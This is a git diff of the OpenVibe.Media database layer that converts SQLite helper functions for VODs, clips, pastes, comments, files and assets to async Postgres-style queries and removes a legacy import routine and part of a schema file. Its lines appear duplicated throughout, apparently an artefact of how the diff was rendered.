`UPDATE vods SET duration_seconds = ?, file_size = ?, probe_duration_seconds = ?, duration_source = ?, last_health_scan_at = datetime('now') WHERE id = ?`,
`UPDATE vods SET duration_seconds = ?, file_size = ?, probe_duration_seconds = ?, duration_source = ?, last_health_scan_at = datetime('now') WHERE id = ?`,
[duration, fileSize, duration, source, vodId]
[duration, fileSize, duration, source, vodId]
));
));
@@ -576,8 +415,8 @@ function repairVodDuration(vodId, duration, fileSize, source = 'probe') {
@@ -576,8 +415,8 @@ function repairVodDuration(vodId, duration, fileSize, source = 'probe') {
// VODs the periodic health job should scan: finished (not recording), and either never
// VODs the periodic health job should scan: finished (not recording), and either never
// scanned or last scanned longer ago than `staleDays`. Never-scanned + oldest-scanned first.
// scanned or last scanned longer ago than `staleDays`. Never-scanned + oldest-scanned first.
-function getVodsNeedingHealthScan({ staleDays = 30, limit = 3 } = {}) {
- return all(`SELECT * FROM vods
+async function getVodsNeedingHealthScan({ staleDays = 30, limit = 3 } = {}) {
+ return await all(`SELECT * FROM vods
WHERE COALESCE(is_recording, 0) = 0
WHERE COALESCE(is_recording, 0) = 0
AND (health_status IS NULL OR health_status NOT IN ('corrupt','zero_byte','missing_file'))
AND (health_status IS NULL OR health_status NOT IN ('corrupt','zero_byte','missing_file'))
AND (last_health_scan_at IS NULL OR last_health_scan_at <= datetime('now', ?))
AND (last_health_scan_at IS NULL OR last_health_scan_at <= datetime('now', ?))
@@ -586,8 +425,8 @@ function getVodsNeedingHealthScan({ staleDays = 30, limit = 3 } = {}) {
@@ -586,8 +425,8 @@ function getVodsNeedingHealthScan({ staleDays = 30, limit = 3 } = {}) {
}
}
// Genuinely-broken VODs quarantined long enough that they should be cleaned up.
// Genuinely-broken VODs quarantined long enough that they should be cleaned up.
-function getQuarantinedVodsForCleanup({ graceDays = 14, limit = 5 } = {}) {
- return all(`SELECT * FROM vods
+async function getQuarantinedVodsForCleanup({ graceDays = 14, limit = 5 } = {}) {
+ return await all(`SELECT * FROM vods
WHERE quarantined_at IS NOT NULL
WHERE quarantined_at IS NOT NULL
AND quarantined_at <= datetime('now', ?)
AND quarantined_at <= datetime('now', ?)
AND health_status IN ('corrupt','zero_byte','missing_file')
AND health_status IN ('corrupt','zero_byte','missing_file')
@@ -609,22 +448,22 @@ function vodStatus(vod) {
@@ -609,22 +448,22 @@ function vodStatus(vod) {
// The row and its media_object in one transaction. `visibility` (public | unlisted | private), when
// The row and its media_object in one transaction. `visibility` (public | unlisted | private), when
// given, sets both columns; otherwise is_public picks public or unlisted as before.
// given, sets both columns; otherwise is_public picks public or unlisted as before.
-function createClip({ app_id, vod_id, stream_id, user_id, channel_user_id, title, description, file_path, thumbnail_url, start_time, end_time, duration_seconds, is_public, visibility, auto_generated, status }) {
+async function createClip({ app_id, vod_id, stream_id, user_id, channel_user_id, title, description, file_path, thumbnail_url, start_time, end_time, duration_seconds, is_public, visibility, auto_generated, status }) {
const pub = (is_public === 0 || is_public === false) ? 0 : 1;
const pub = (is_public === 0 || is_public === false) ? 0 : 1;
const vis = visibility ? _normVisibility(visibility) : (pub ? 'public' : 'unlisted');
const vis = visibility ? _normVisibility(visibility) : (pub ? 'public' : 'unlisted');
- return withObject('clip', (r) => r.lastInsertRowid, () => run(
+ return await withObject('clip', (r) => r.lastInsertRowid, async () => await run(
`INSERT INTO clips (app_id, vod_id, stream_id, user_id, channel_user_id, title, description, file_path, thumbnail_url, start_time, end_time, duration_seconds, is_public, visibility, auto_generated, status)
`INSERT INTO clips (app_id, vod_id, stream_id, user_id, channel_user_id, title, description, file_path, thumbnail_url, start_time, end_time, duration_seconds, is_public, visibility, auto_generated, status)
- VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) RETURNING id`,
[app_id, vod_id || null, stream_id || null, user_id || null, channel_user_id || null, title || 'Untitled Clip', description || '',
[app_id, vod_id || null, stream_id || null, user_id || null, channel_user_id || null, title || 'Untitled Clip', description || '',
file_path || '', thumbnail_url || null, start_time || 0, end_time || 0, duration_seconds || 0,
file_path || '', thumbnail_url || null, start_time || 0, end_time || 0, duration_seconds || 0,
vis === 'public' ? 1 : 0, vis, auto_generated ? 1 : 0, status || 'ready']
vis === 'public' ? 1 : 0, vis, auto_generated ? 1 : 0, status || 'ready']
));
));
}
}
-function getClipById(id, appId = null) {
+async function getClipById(id, appId = null) {
const clause = appId ? ' AND app_id = ?' : '';
const clause = appId ? ' AND app_id = ?' : '';
const params = appId ? [id, appId] : [id];
const params = appId ? [id, appId] : [id];
- return get(`SELECT * FROM clips WHERE id = ?${clause}`, params);
+ return await get(`SELECT * FROM clips WHERE id = ?${clause}`, params);
}
}
function _clipConds(appId, { vod_id = null, stream_id = null, user_id = null, channel_user_id = null, include_private = false, hide_self = false, auto_generated = null, ready_only = false, since = null } = {}) {
function _clipConds(appId, { vod_id = null, stream_id = null, user_id = null, channel_user_id = null, include_private = false, hide_self = false, auto_generated = null, ready_only = false, since = null } = {}) {
@@ -647,30 +486,30 @@ function _clipConds(appId, { vod_id = null, stream_id = null, user_id = null, ch
@@ -647,30 +486,30 @@ function _clipConds(appId, { vod_id = null, stream_id = null, user_id = null, ch
return { conds, params };
return { conds, params };
}
}
-function listClips(appId, filters = {}) {
+async function listClips(appId, filters = {}) {
const { limit = 50, offset = 0, order = 'newest' } = filters;
const { limit = 50, offset = 0, order = 'newest' } = filters;
const { conds, params } = _clipConds(appId, filters);
const { conds, params } = _clipConds(appId, filters);
params.push(limit, offset);
params.push(limit, offset);
- return all(`SELECT * FROM clips WHERE ${conds.join(' AND ')} ORDER BY ${_listOrder(order)} LIMIT ? OFFSET ?`, params);
+ return await all(`SELECT * FROM clips WHERE ${conds.join(' AND ')} ORDER BY ${_listOrder(order)} LIMIT ? OFFSET ?`, params);
}
}
-function countClips(appId, filters = {}) {
+async function countClips(appId, filters = {}) {
const { conds, params } = _clipConds(appId, filters);
const { conds, params } = _clipConds(appId, filters);
- return get(`SELECT COUNT(*) AS count FROM clips WHERE ${conds.join(' AND ')}`, params)?.count || 0;
+ return (await get(`SELECT COUNT(*) AS count FROM clips WHERE ${conds.join(' AND ')}`, params))?.count || 0;
}
}
-function setClipVisibility(clipId, visibility) {
+async function setClipVisibility(clipId, visibility) {
const vis = _normVisibility(visibility);
const vis = _normVisibility(visibility);
- return withObject('clip', clipId, () => run('UPDATE clips SET visibility = ?, is_public = ? WHERE id = ?', [vis, vis === 'public' ? 1 : 0, clipId]));
+ return await withObject('clip', clipId, async () => await run('UPDATE clips SET visibility = ?, is_public = ? WHERE id = ?', [vis, vis === 'public' ? 1 : 0, clipId]));
}
}
-function findDuplicateClip({ appId, streamId = null, vodId = null, startTime = 0, endTime = 0, startWindow = 8, endWindow = 10, createdSinceMinutes = 10 }) {
+async function findDuplicateClip({ appId, streamId = null, vodId = null, startTime = 0, endTime = 0, startWindow = 8, endWindow = 10, createdSinceMinutes = 10 }) {
const filters = [];
const filters = [];
const params = [appId];
const params = [appId];
if (streamId) { filters.push('stream_id = ?'); params.push(streamId); }
if (streamId) { filters.push('stream_id = ?'); params.push(streamId); }
if (vodId) { filters.push('vod_id = ?'); params.push(vodId); }
if (vodId) { filters.push('vod_id = ?'); params.push(vodId); }
if (!filters.length) return null;
if (!filters.length) return null;
- return get(`
+ return await get(`
SELECT * FROM clips
SELECT * FROM clips
WHERE app_id = ? AND (${filters.join(' OR ')})
WHERE app_id = ? AND (${filters.join(' OR ')})
AND ABS(COALESCE(start_time, 0) - ?) <= ?
AND ABS(COALESCE(start_time, 0) - ?) <= ?
@@ -683,62 +522,62 @@ function findDuplicateClip({ appId, streamId = null, vodId = null, startTime = 0
@@ -683,62 +522,62 @@ function findDuplicateClip({ appId, streamId = null, vodId = null, startTime = 0
// ── Paste helpers ────────────────────────────────────────────
// ── Paste helpers ────────────────────────────────────────────
-function getPasteBySlug(slug, appId = null) {
+async function getPasteBySlug(slug, appId = null) {
const clause = appId ? ' AND app_id = ?' : '';
const clause = appId ? ' AND app_id = ?' : '';
const params = appId ? [slug, appId] : [slug];
const params = appId ? [slug, appId] : [slug];
- return get(`SELECT * FROM pastes WHERE slug = ?${clause}`, params);
+ return await get(`SELECT * FROM pastes WHERE slug = ?${clause}`, params);
}
}
-function likePaste(pasteId, userId) {
- run('INSERT OR IGNORE INTO paste_likes (paste_id, user_id) VALUES (?, ?)', [pasteId, userId]);
- run('UPDATE pastes SET likes = (SELECT COUNT(*) FROM paste_likes WHERE paste_id = ?) WHERE id = ?', [pasteId, pasteId]);
- return get('SELECT likes FROM pastes WHERE id = ?', [pasteId]);
+async function likePaste(pasteId, userId) {
+ await run('INSERT INTO paste_likes (paste_id, user_id) VALUES (?, ?) ON CONFLICT DO NOTHING', [pasteId, userId]);
+ await run('UPDATE pastes SET likes = (SELECT COUNT(*) FROM paste_likes WHERE paste_id = ?) WHERE id = ?', [pasteId, pasteId]);
+ return await get('SELECT likes FROM pastes WHERE id = ?', [pasteId]);
}
}
-function unlikePaste(pasteId, userId) {
- run('DELETE FROM paste_likes WHERE paste_id = ? AND user_id = ?', [pasteId, userId]);
- run('UPDATE pastes SET likes = (SELECT COUNT(*) FROM paste_likes WHERE paste_id = ?) WHERE id = ?', [pasteId, pasteId]);
- return get('SELECT likes FROM pastes WHERE id = ?', [pasteId]);
+async function unlikePaste(pasteId, userId) {
+ await run('DELETE FROM paste_likes WHERE paste_id = ? AND user_id = ?', [pasteId, userId]);
+ await run('UPDATE pastes SET likes = (SELECT COUNT(*) FROM paste_likes WHERE paste_id = ?) WHERE id = ?', [pasteId, pasteId]);
+ return await get('SELECT likes FROM pastes WHERE id = ?', [pasteId]);
}
}
-function hasUserLikedPaste(pasteId, userId) {
- return !!get('SELECT 1 FROM paste_likes WHERE paste_id = ? AND user_id = ?', [pasteId, userId]);
+async function hasUserLikedPaste(pasteId, userId) {
+ return !!await get('SELECT 1 FROM paste_likes WHERE paste_id = ? AND user_id = ?', [pasteId, userId]);
}
}
-function incrementPasteCopies(slug) {
- return run('UPDATE pastes SET copies = copies + 1 WHERE slug = ?', [slug]);
+async function incrementPasteCopies(slug) {
+ return await run('UPDATE pastes SET copies = copies + 1 WHERE slug = ?', [slug]);
}
}
-function countUserPastesToday(appId, userId, ip) {
+async function countUserPastesToday(appId, userId, ip) {
if (userId) {
if (userId) {
- return get("SELECT COUNT(*) as c FROM pastes WHERE app_id = ? AND user_id = ? AND created_at > datetime('now', '-1 day')", [appId, userId])?.c || 0;
+ return (await get("SELECT COUNT(*) as c FROM pastes WHERE app_id = ? AND user_id = ? AND created_at > datetime('now', '-1 day')", [appId, userId]))?.c || 0;
}
}
if (ip) {
if (ip) {
- return get("SELECT COUNT(*) as c FROM pastes WHERE app_id = ? AND ip_address = ? AND created_at > datetime('now', '-1 day')", [appId, ip])?.c || 0;
+ return (await get("SELECT COUNT(*) as c FROM pastes WHERE app_id = ? AND ip_address = ? AND created_at > datetime('now', '-1 day')", [appId, ip]))?.c || 0;
}
}
return 0;
return 0;
}
}
-function getLastPasteTime(appId, userId, ip) {
+async function getLastPasteTime(appId, userId, ip) {
let row;
let row;
if (userId) {
if (userId) {
- row = get('SELECT created_at FROM pastes WHERE app_id = ? AND user_id = ? ORDER BY created_at DESC LIMIT 1', [appId, userId]);
+ row = await get('SELECT created_at FROM pastes WHERE app_id = ? AND user_id = ? ORDER BY created_at DESC LIMIT 1', [appId, userId]);
} else if (ip) {
} else if (ip) {
- row = get('SELECT created_at FROM pastes WHERE app_id = ? AND ip_address = ? ORDER BY created_at DESC LIMIT 1', [appId, ip]);
+ row = await get('SELECT created_at FROM pastes WHERE app_id = ? AND ip_address = ? ORDER BY created_at DESC LIMIT 1', [appId, ip]);
}
}
return row ? new Date(row.created_at + (row.created_at.includes('Z') ? '' : 'Z')).getTime() : 0;
return row ? new Date(row.created_at + (row.created_at.includes('Z') ? '' : 'Z')).getTime() : 0;
}
}
/** App-scoped paste stats (predecessor's admin stats shape). */
/** App-scoped paste stats (predecessor's admin stats shape). */
-function getPasteStats(appId) {
- const row = get(`
+async function getPasteStats(appId) {
+ const row = await get(`
SELECT COUNT(*) AS total,
SELECT COUNT(*) AS total,
- SUM(CASE WHEN type = 'paste' THEN 1 ELSE 0 END) AS textPastes,
+ SUM(CASE WHEN type = 'paste' THEN 1 ELSE 0 END) AS "textPastes",
SUM(CASE WHEN type = 'screenshot' THEN 1 ELSE 0 END) AS screenshots,
SUM(CASE WHEN type = 'screenshot' THEN 1 ELSE 0 END) AS screenshots,
SUM(CASE WHEN forked_from IS NOT NULL THEN 1 ELSE 0 END) AS forks,
SUM(CASE WHEN forked_from IS NOT NULL THEN 1 ELSE 0 END) AS forks,
- COALESCE(SUM(views), 0) AS totalViews,
- COALESCE(SUM(copies), 0) AS totalCopies,
- COALESCE(SUM(likes), 0) AS totalLikes
+ COALESCE(SUM(views), 0)::bigint AS "totalViews",
+ COALESCE(SUM(copies), 0)::bigint AS "totalCopies",
+ COALESCE(SUM(likes), 0)::bigint AS "totalLikes"
FROM pastes WHERE app_id = ?
FROM pastes WHERE app_id = ?
`, [appId]) || {};
`, [appId]) || {};
return {
return {
@@ -754,16 +593,16 @@ function getPasteStats(appId) {
@@ -754,16 +593,16 @@ function getPasteStats(appId) {
// ── Paste comment helpers ────────────────────────────────────
// ── Paste comment helpers ────────────────────────────────────
-function createPasteComment({ paste_id, user_id, parent_id, anon_name, message, ip_address }) {
- return run(
+async function createPasteComment({ paste_id, user_id, parent_id, anon_name, message, ip_address }) {
+ return await run(
`INSERT INTO paste_comments (paste_id, user_id, parent_id, anon_name, message, ip_address)
`INSERT INTO paste_comments (paste_id, user_id, parent_id, anon_name, message, ip_address)
- VALUES (?, ?, ?, ?, ?, ?)`,
+ VALUES (?, ?, ?, ?, ?, ?) RETURNING id`,
[paste_id, user_id || null, parent_id || null, anon_name || null, message, ip_address || null]
[paste_id, user_id || null, parent_id || null, anon_name || null, message, ip_address || null]
);
);
}
}
-function getPasteComments(pasteId, limit = 50, offset = 0) {
- return all(`
+async function getPasteComments(pasteId, limit = 50, offset = 0) {
+ return await all(`
SELECT * FROM paste_comments
SELECT * FROM paste_comments
WHERE paste_id = ? AND is_deleted = 0 AND parent_id IS NULL
WHERE paste_id = ? AND is_deleted = 0 AND parent_id IS NULL
ORDER BY created_at DESC
ORDER BY created_at DESC
@@ -771,28 +610,28 @@ function getPasteComments(pasteId, limit = 50, offset = 0) {
@@ -771,28 +610,28 @@ function getPasteComments(pasteId, limit = 50, offset = 0) {
`, [pasteId, limit, offset]);
`, [pasteId, limit, offset]);
}
}
-function getPasteCommentReplies(parentId) {
- return all(`
+async function getPasteCommentReplies(parentId) {
+ return await all(`
SELECT * FROM paste_comments
SELECT * FROM paste_comments
WHERE parent_id = ? AND is_deleted = 0
WHERE parent_id = ? AND is_deleted = 0
ORDER BY created_at ASC
ORDER BY created_at ASC
`, [parentId]);
`, [parentId]);
}
}
-function getPasteCommentById(commentId) {
- return get('SELECT * FROM paste_comments WHERE id = ?', [commentId]);
+async function getPasteCommentById(commentId) {
+ return await get('SELECT * FROM paste_comments WHERE id = ?', [commentId]);
}
}
-function getPasteCommentCount(pasteId) {
- return get('SELECT COUNT(*) as count FROM paste_comments WHERE paste_id = ? AND is_deleted = 0', [pasteId])?.count || 0;
+async function getPasteCommentCount(pasteId) {
+ return (await get('SELECT COUNT(*) as count FROM paste_comments WHERE paste_id = ? AND is_deleted = 0', [pasteId]))?.count || 0;
}
}
-function deletePasteComment(commentId) {
- return run('UPDATE paste_comments SET is_deleted = 1, updated_at = CURRENT_TIMESTAMP WHERE id = ?', [commentId]);
+async function deletePasteComment(commentId) {
+ return await run('UPDATE paste_comments SET is_deleted = 1, updated_at = ov_now() WHERE id = ?', [commentId]);
}
}
-function getRecentPasteCommentsByIp(ip, seconds = 10) {
- return all(`
+async function getRecentPasteCommentsByIp(ip, seconds = 10) {
+ return await all(`
SELECT * FROM paste_comments
SELECT * FROM paste_comments
WHERE ip_address = ? AND created_at > datetime('now', '-' || ? || ' seconds')
WHERE ip_address = ? AND created_at > datetime('now', '-' || ? || ' seconds')
ORDER BY created_at DESC
ORDER BY created_at DESC
@@ -802,97 +641,66 @@ function getRecentPasteCommentsByIp(ip, seconds = 10) {
@@ -802,97 +641,66 @@ function getRecentPasteCommentsByIp(ip, seconds = 10) {
// ── File helpers ─────────────────────────────────────────────
// ── File helpers ─────────────────────────────────────────────
// The row and its media_object in one transaction (the file is already on disk, sha256 computed by the route).
// The row and its media_object in one transaction (the file is already on disk, sha256 computed by the route).
-function createFile({ key, app_id, user_id, original_name, size, mime, sha256 }) {
- return withObject('file', key, () => run(
+async function createFile({ key, app_id, user_id, original_name, size, mime, sha256 }) {
+ return await withObject('file', key, async () => await run(
`INSERT INTO files (key, app_id, user_id, original_name, size, mime, sha256)
`INSERT INTO files (key, app_id, user_id, original_name, size, mime, sha256)
VALUES (?, ?, ?, ?, ?, ?, ?)`,
VALUES (?, ?, ?, ?, ?, ?, ?)`,
[key, app_id, user_id || null, original_name || null, size || 0, mime || 'application/octet-stream', sha256 || null]
[key, app_id, user_id || null, original_name || null, size || 0, mime || 'application/octet-stream', sha256 || null]
));
));
}
}
-function getFileByKey(key, appId = null) {
+async function getFileByKey(key, appId = null) {
const clause = appId ? ' AND app_id = ?' : '';
const clause = appId ? ' AND app_id = ?' : '';
const params = appId ? [key, appId] : [key];
const params = appId ? [key, appId] : [key];
- return get(`SELECT * FROM files WHERE key = ?${clause}`, params);
+ return await get(`SELECT * FROM files WHERE key = ?${clause}`, params);
}
}
// ── App assets (emotes / channel sounds) ─────────────────────
// ── App assets (emotes / channel sounds) ─────────────────────
-function upsertAsset({ app_id, kind, name, file_path, mime, user_id, username, channel_username, duration_seconds, meta }) {
- const info = run(`
+async function upsertAsset({ app_id, kind, name, file_path, mime, user_id, username, channel_username, duration_seconds, meta }) {
+ const info = await run(`
INSERT INTO assets (app_id, kind, name, file_path, mime, user_id, username, channel_username, duration_seconds, meta_json)
INSERT INTO assets (app_id, kind, name, file_path, mime, user_id, username, channel_username, duration_seconds, meta_json)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(app_id, kind, name, channel_username) DO UPDATE SET
ON CONFLICT(app_id, kind, name, channel_username) DO UPDATE SET
file_path = excluded.file_path, mime = excluded.mime,
file_path = excluded.file_path, mime = excluded.mime,
user_id = excluded.user_id, username = excluded.username,
user_id = excluded.user_id, username = excluded.username,
- duration_seconds = excluded.duration_seconds, meta_json = excluded.meta_json`,
+ duration_seconds = excluded.duration_seconds, meta_json = excluded.meta_json RETURNING id`,
[app_id, kind, name, file_path, mime || 'application/octet-stream', user_id ?? null,
[app_id, kind, name, file_path, mime || 'application/octet-stream', user_id ?? null,
username || '', channel_username || '', duration_seconds || 0, JSON.stringify(meta || {})]);
username || '', channel_username || '', duration_seconds || 0, JSON.stringify(meta || {})]);
- return get('SELECT * FROM assets WHERE app_id = ? AND kind = ? AND name = ? AND channel_username = ?',
+ return await get('SELECT * FROM assets WHERE app_id = ? AND kind = ? AND name = ? AND channel_username = ?',
[app_id, kind, name, channel_username || '']);
[app_id, kind, name, channel_username || '']);
}
}
-function getAssetById(id) { return get('SELECT * FROM assets WHERE id = ?', [id]); }
-function listAssets(appId, { kind = null, limit = 100, offset = 0 } = {}) {
+async function getAssetById(id) { return await get('SELECT * FROM assets WHERE id = ?', [id]); }
+async function listAssets(appId, { kind = null, limit = 100, offset = 0 } = {}) {
const conds = ['app_id = ?']; const params = [appId];
const conds = ['app_id = ?']; const params = [appId];
if (kind) { conds.push('kind = ?'); params.push(kind); }
if (kind) { conds.push('kind = ?'); params.push(kind); }
params.push(limit, offset);
params.push(limit, offset);
- return all(`SELECT * FROM assets WHERE ${conds.join(' AND ')} ORDER BY created_at DESC LIMIT ? OFFSET ?`, params);
+ return await all(`SELECT * FROM assets WHERE ${conds.join(' AND ')} ORDER BY created_at DESC LIMIT ? OFFSET ?`, params);
}
}
-function countAssets(appId, { kind = null } = {}) {
+async function countAssets(appId, { kind = null } = {}) {
const conds = ['app_id = ?']; const params = [appId];
const conds = ['app_id = ?']; const params = [appId];
if (kind) { conds.push('kind = ?'); params.push(kind); }
if (kind) { conds.push('kind = ?'); params.push(kind); }
- return get(`SELECT COUNT(*) c FROM assets WHERE ${conds.join(' AND ')}`, params).c;
+ return (await get(`SELECT COUNT(*) c FROM assets WHERE ${conds.join(' AND ')}`, params)).c;
}
}
-function deleteAsset(id) { return run('DELETE FROM assets WHERE id = ?', [id]); }
+async function deleteAsset(id) { return await run('DELETE FROM assets WHERE id = ?', [id]); }
-function listFiles(appId, { limit = 100, offset = 0 } = {}) {
- return all('SELECT * FROM files WHERE app_id = ? ORDER BY created_at DESC LIMIT ? OFFSET ?', [appId, limit, offset]);
+async function listFiles(appId, { limit = 100, offset = 0 } = {}) {
+ return await all('SELECT * FROM files WHERE app_id = ? ORDER BY created_at DESC LIMIT ? OFFSET ?', [appId, limit, offset]);
}
}
// The object is marked deleted by trg_files_object_deleted in the same statement.
// The object is marked deleted by trg_files_object_deleted in the same statement.
-function deleteFileRow(key) {
- return run('DELETE FROM files WHERE key = ?', [key]);
+async function deleteFileRow(key) {
+ return await run('DELETE FROM files WHERE key = ?', [key]);
}
}
-function appFilesBytes(appId) {
- return get('SELECT COALESCE(SUM(size), 0) AS bytes FROM files WHERE app_id = ?', [appId])?.bytes || 0;
+async function appFilesBytes(appId) {
+ return (await get('SELECT COALESCE(SUM(size), 0)::bigint AS bytes FROM files WHERE app_id = ?', [appId]))?.bytes || 0;
}
}
// ── Legacy import (cutover from the old streamer DB) ─────────
// ── Legacy import (cutover from the old streamer DB) ─────────
-/**
- * Bulk-insert rows exported from the predecessor DB. Only columns present in
- * the destination table are used; missing ones take schema defaults; app_id is
- * backfilled. Row ids are preserved (INSERT OR IGNORE keeps re-runs idempotent).
- * Returns { inserted, skipped }. The one write path that is not object-first (the cutover
- * import): the boot backfill (objects/backfill.js, rows with no object_id) projects what it inserts.
- */
-function importLegacyRows(table, rows, appId = 'live') {
- const allowed = new Set(['vods', 'clips', 'pastes', 'paste_likes', 'paste_comments', 'content_views', 'files']);
- if (!allowed.has(table)) throw new Error(`importLegacyRows: table ${table} not importable`);
- if (!Array.isArray(rows) || !rows.length) return { inserted: 0, skipped: 0 };
-
- const cols = getDb().prepare(`PRAGMA table_info(${table})`).all().map(c => c.name);
- const colSet = new Set(cols);
- const hasAppId = colSet.has('app_id');
-
- let inserted = 0, skipped = 0;
- const tx = getDb().transaction((batch) => {
- for (const raw of batch) {
- const row = { ...raw };
- if (hasAppId && row.app_id == null) row.app_id = appId;
- const keys = Object.keys(row).filter(k => colSet.has(k));
- if (!keys.length) { skipped++; continue; }
- const sql = `INSERT OR IGNORE INTO ${table} (${keys.join(', ')}) VALUES (${keys.map(() => '?').join(', ')})`;
- const res = getDb().prepare(sql).run(...keys.map(k => row[k]));
- if (res.changes > 0) inserted++; else skipped++;
- }
- });
- tx(rows);
- return { inserted, skipped };
-}
module.exports = {
module.exports = {
- getDb, run, get, all, close, withObject, heldSql,
+ openDb, initDb, getDb, setDb, MIGRATIONS, run, get, all, close, withObject, heldSql,
getSetting, setSetting,
getSetting, setSetting,
// apps
// apps
hashApiKey, getApp, listApps, upsertApp, appAllowedOrigins, projectTenantId, ensureProjectTenant, isSandboxTenant,
hashApiKey, getApp, listApps, upsertApp, appAllowedOrigins, projectTenantId, ensureProjectTenant, isSandboxTenant,
@@ -913,5 +721,4 @@ module.exports = {
@@ -913,5 +721,4 @@ module.exports = {
// files
// files
createFile, getFileByKey, listFiles, deleteFileRow, appFilesBytes,
createFile, getFileByKey, listFiles, deleteFileRow, appFilesBytes,
// migration
// migration
- importLegacyRows,
};
};
@@ -1,10 +1,13 @@
@@ -1,10 +1,13 @@
/**
/**
- * OpenVibe.Media — Database Initialization Script
+ * OpenVibe.Media — Database Initialization Script: applies migrations/ (DATABASE_URL / DATABASE_DIRECT_URL, or the
+ * embedded development PGlite database).
* Run: npm run init-db
* Run: npm run init-db
*/
*/
const db = require('./database');
const db = require('./database');
-db.getDb();
-console.log(`Database initialized at: ${require('../config').db.path}`);
-db.close();
-process.exit(0);
+(async () => {
+ await db.initDb();
+ console.log('Database migrated.');
+ await db.close();
+ process.exit(0);
+})().catch((err) => { console.error(`init-db failed: ${err.message}`); process.exit(1); });
deleted file mode 100644
deleted file mode 100644
@@ -1,517 +0,0 @@
@@ -1,517 +0,0 @@
-
-PRAGMA journal_mode = WAL;
-
-CREATE TABLE IF NOT EXISTS apps (
- app_id TEXT PRIMARY KEY,
- name TEXT NOT NULL DEFAULT '',
- api_key_hash TEXT NOT NULL,
- webhook_url TEXT,
- webhook_secret TEXT,
- allowed_origins TEXT DEFAULT '[]', -- JSON array of origins for browser (user-JWT) calls
- quota_bytes INTEGER DEFAULT 0, -- files quota; 0 = unlimited
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP
-);
-
-CREATE TABLE IF NOT EXISTS vods (
- id INTEGER PRIMARY KEY AUTOINCREMENT,
- app_id TEXT NOT NULL DEFAULT 'live',
- stream_id INTEGER,
- stream_key TEXT,
- managed_stream_id INTEGER, -- owning app's stream "slot" (list filter)
- user_id INTEGER,
- title TEXT,
- description TEXT DEFAULT '',
- file_path TEXT,
- thumbnail_url TEXT,
- master_file_path TEXT,
- file_size INTEGER DEFAULT 0,
- duration_seconds INTEGER DEFAULT 0,
- probe_duration_seconds REAL DEFAULT 0,
- duration_source TEXT, -- probe | remux | unknown: where duration_seconds came from (NULL: before it was recorded)
- probe_format_json TEXT DEFAULT '',
- health_status TEXT DEFAULT 'unknown',
- health_score INTEGER DEFAULT 0,
- health_issues_json TEXT DEFAULT '[]',
- last_health_scan_at DATETIME,
- quarantined_at DATETIME,
- is_public INTEGER DEFAULT 1,
- visibility TEXT DEFAULT 'public',
- is_recording INTEGER DEFAULT 0,
- clips_only INTEGER DEFAULT 0,
- view_count INTEGER DEFAULT 0,
- storage_tier TEXT DEFAULT 'hot', -- legacy column (pre object-store); kept for import
- storage_provider TEXT DEFAULT 'local',
- storage_key TEXT,
- last_accessed_at DATETIME,
- ai_overview TEXT, -- kept for import; Live owns AI generation
- ai_transcript TEXT,
- ai_analyzed_at DATETIME,
- meta_json TEXT DEFAULT '{}',
- object_id TEXT, -- media_objects.id (Wave 4 object model)
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP
-);
-CREATE INDEX IF NOT EXISTS idx_vods_app ON vods(app_id, created_at DESC);
-CREATE INDEX IF NOT EXISTS idx_vods_recording ON vods(is_recording);
-CREATE INDEX IF NOT EXISTS idx_vods_provider ON vods(storage_provider);
-
-CREATE TABLE IF NOT EXISTS clips (
- id INTEGER PRIMARY KEY AUTOINCREMENT,
- app_id TEXT NOT NULL DEFAULT 'live',
- vod_id INTEGER,
- stream_id INTEGER,
- user_id INTEGER,
- channel_user_id INTEGER, -- owner of the clipped channel/stream (list filter)
- title TEXT DEFAULT 'Untitled Clip',
- description TEXT DEFAULT '',
- file_path TEXT,
- thumbnail_url TEXT,
- start_time REAL NOT NULL DEFAULT 0,
- end_time REAL NOT NULL DEFAULT 0,
- duration_seconds REAL DEFAULT 0,
- is_public INTEGER DEFAULT 1,
- visibility TEXT DEFAULT 'public',
- status TEXT DEFAULT 'ready', -- processing | ready | failed (imports default ready)
- view_count INTEGER DEFAULT 0,
- auto_generated INTEGER DEFAULT 0,
- storage_provider TEXT DEFAULT 'local',
- storage_key TEXT,
- ai_overview TEXT,
- ai_transcript TEXT,
- ai_analyzed_at DATETIME,
- object_id TEXT, -- media_objects.id
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP
-);
-CREATE INDEX IF NOT EXISTS idx_clips_app ON clips(app_id, created_at DESC);
-CREATE INDEX IF NOT EXISTS idx_clips_vod ON clips(vod_id);
-CREATE INDEX IF NOT EXISTS idx_clips_stream ON clips(stream_id);
-
-CREATE TABLE IF NOT EXISTS content_views (
- id INTEGER PRIMARY KEY AUTOINCREMENT,
- content_type TEXT NOT NULL CHECK(content_type IN ('vod', 'clip')),
- content_id INTEGER NOT NULL,
- ip TEXT NOT NULL,
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- UNIQUE(content_type, content_id, ip)
-);
-CREATE INDEX IF NOT EXISTS idx_content_views_lookup ON content_views(content_type, content_id);
-
-CREATE TABLE IF NOT EXISTS pastes (
- id INTEGER PRIMARY KEY AUTOINCREMENT,
- app_id TEXT NOT NULL DEFAULT 'live',
- slug TEXT UNIQUE NOT NULL,
- user_id INTEGER,
- type TEXT DEFAULT 'paste' CHECK(type IN ('paste', 'screenshot')),
- title TEXT NOT NULL DEFAULT 'Untitled',
- content TEXT,
- language TEXT DEFAULT 'text',
- visibility TEXT DEFAULT 'public' CHECK(visibility IN ('public', 'unlisted', 'private')),
- stream_id INTEGER,
- screenshot_path TEXT,
- metadata TEXT,
- burn_after_read INTEGER DEFAULT 0,
- forked_from INTEGER,
- pinned INTEGER DEFAULT 0,
- views INTEGER DEFAULT 0,
- copies INTEGER DEFAULT 0,
- likes INTEGER DEFAULT 0,
- is_nsfw INTEGER DEFAULT 0,
- ip_address TEXT,
- ai_summary TEXT, -- kept for import; Live owns AI generation
- ai_tags TEXT,
- ai_analyzed_at DATETIME,
- object_id TEXT, -- media_objects.id of the screenshot/avatar bytes (text pastes have none)
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,
